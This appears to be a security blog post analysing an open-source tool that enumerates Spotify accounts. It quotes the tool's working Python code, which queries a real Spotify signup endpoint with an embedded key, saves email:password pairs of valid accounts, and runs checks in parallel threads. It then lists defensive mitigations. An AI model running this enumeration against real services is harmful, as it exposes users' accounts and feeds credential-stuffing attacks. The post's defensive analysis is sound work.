Research · · 5 min read

Account enumeration in the wild: analyzing a real-world Spotify enumeration tool

Account enumeration in the wild: analyzing a real-world Spotify enumeration tool

In this blog post, we study the Spotify-Account-Checker open source project. The author describes it as:

“An automated tool for checking the validity of Spotify accounts with proxy support, multi-threading capabilities, and Discord Rich Presence integration.”

At first glance, checking whether an account exists may look harmless. It does not authenticate users and it does not modify any data. However. from a security standpoint, this is not a neutral signal.

Leaking whether an account exists is a well-known weakness called account enumeration. OWASP explicitly documents that attackers use these signals to collect valid usernames or emails, which makes brute force and credential stuffing attacks more efficient.

We investigate how the account checker operates, the techniques used to scale the enumeration, and what countermeasures you should implement to protect against account enumeration.

TL;DR

How enumeration is used in real attack chains

Knowing that an email is registered is typically an intermediate step in a broader workflow.

This pattern is explicitly described in OWASP’s Web Security Testing Guide: collect valid identifiers first, then use them to optimize further attacks.

Project overview: simple tooling, high-signal API

At a high level, the project:

The important point is technical and straightforward:

The tool does not rely on browser automation, TLS fingerprint spoofing, or advanced HTTP impersonation. It uses a standard Python HTTP client. Its effectiveness comes from the API returning a clear, machine-readable account existence signal.

When an endpoint leaks high-confidence information, even basic automation is sufficient to extract value.

The signup endpoint used for enumeration

The checker relies on the following endpoint:

https[:]//spclient[.]wg[.]spotify[.]com/signup/public/v1/account?email=test@example.com&key=REDACTED&validate=1

Depending on whether the email is already registered, the JSON response differs.

Example: existing email

{
  "status":20,
  "errors": {
    "email":"That email is already registered to an account."
  },
  "country":"FR",
  "minimum_age":15
}

Example: non-existing email

{
  "status":1,
  "country":"FR",
  "minimum_age":15
}

The difference between status: 20 and status: 1, combined with the explicit error message, provides a reliable enumeration oracle.

This is precisely the type of differential feedback OWASP recommends minimizing.

Code analysis: the AccountChecker class

The core logic is implemented in the AccountChecker class:

The check() method sends a GET request and interprets the JSON response:

def check(self, email: str) -> bool:
      response = self.session.get(f'<https://spclient.wg.spotify.com/signup/public/v1/account?email={email}&key=bff58e9698f40080ec4f9ad97a2f21e0&validate=1>')

      if response.status_code == 200:
          if response.json()['status'] == 20:
              return True
          else:
              return False
      else:
          log.failure(f"Failed to check {email[8]}... : {response.text}, {response.status_code}")
      
      return None

The logic is:

There is no ambiguity in how the signal is extracted.

A noteworthy detail: storing email and password pairs

The check_account function takes both email and password as input:

def check_account(email: str, password: str, Misc: Miscellaneous) -> bool:
    max_retries = config['dev'].get('MaxRetries', 3)
    retry_delay = 1
    account_line = f"{email}:{password}"
    
    for attempt in range(max_retries):
        try:
            proxies = Misc.get_proxies()
            Account_Checker = AccountChecker(proxies)
            verified = Account_Checker.check(email)
            
            if verified is not None:
                if verified:
                    with Misc.valid_file_lock:
                        with open("output/valid.txt", "a") as f:
                            f.write(f"{account_line}\\n")
                            f.flush()
                    log.success(f"Valid Account: {email[:8]}... | {password[:8]}...")

# ...

Only the email is used to query the signup endpoint. The password is not validated through this API.

However, when the account is marked as valid, the script stores the full email:password pair in output/valid.txt.

The repository does not implement a login phase. But structurally, this pattern mirrors a common attack workflow:

  1. Validate that the account exists.
  2. Keep the associated email:password pair.
  3. Use the filtered list for further authentication attempts.

Pre-validating account existence before attempting login reduces noise, avoids unnecessary authentication traffic, and increases the efficiency of credential stuffing campaigns.

The goal here is not to attribute intent to the author of the project. Rather, this detail illustrates a broader point: account enumeration is frequently an initial step in multi-stage attack chains. Even if the enumeration logic appears isolated, its output can be directly reused in downstream abuse workflows.

HTTP client characteristics

The tool uses Python’s requests library with a standard Session:

def __init__(self, proxy_dict: str = None):
    self.session = requests.Session()
    self.session.headers = {
        'accept': '*/*',
        'accept-encoding': 'gzip, deflate, br',
    }
    
    self.session.proxies = proxy_dict

Technical observations:

In other words, this is standard HTTP automation. The barrier to entry is low because the endpoint itself provides a clean account existence signal.

Scaling enumeration with concurrency

The script increases throughput using ThreadPoolExecutor:

with ThreadPoolExecutor(max_workers=thread_count) as executor:
    futures = []

    for email, password in accounts:  # Now we can safely unpack
        futures.append(executor.submit(check_account, email, password, Misc))

    for future in as_completed(futures):
        try:
            if future.result():
                total = title_updater.increment_total()
                status.total_accounts = total
        except Exception as e:
            log.failure(f"Thread error: {e}")

This transforms a single validation request into bulk enumeration by running multiple checks in parallel.

From a defender perspective, this matters because enumeration attempts can be distributed across IPs and executed concurrently, making naive rate limits insufficient.

Mitigations and defensive considerations

1. Minimize explicit account existence signals

If your API returns materially different responses for existing versus non-existing accounts, assume it can be automated.

Options include:

2. Treat pre-auth endpoints as high-risk surfaces

Signup validation, forgot-password, and login endpoints are often the first step in account takeover workflows. They should be protected accordingly.

3. Add bot detection and abuse controls

Even if an endpoint does not grant access, it can enable attack optimization.

Defensive measures may include:

4. Enforce stronger client integrity where appropriate

If an endpoint is intended only for first-party clients, consider requiring additional proof of client legitimacy:

These mechanisms can be reverse engineered, but they increase attacker cost and reduce trivial automation.

Final thoughts

This project illustrates a recurring pattern in abuse workflows:

Read next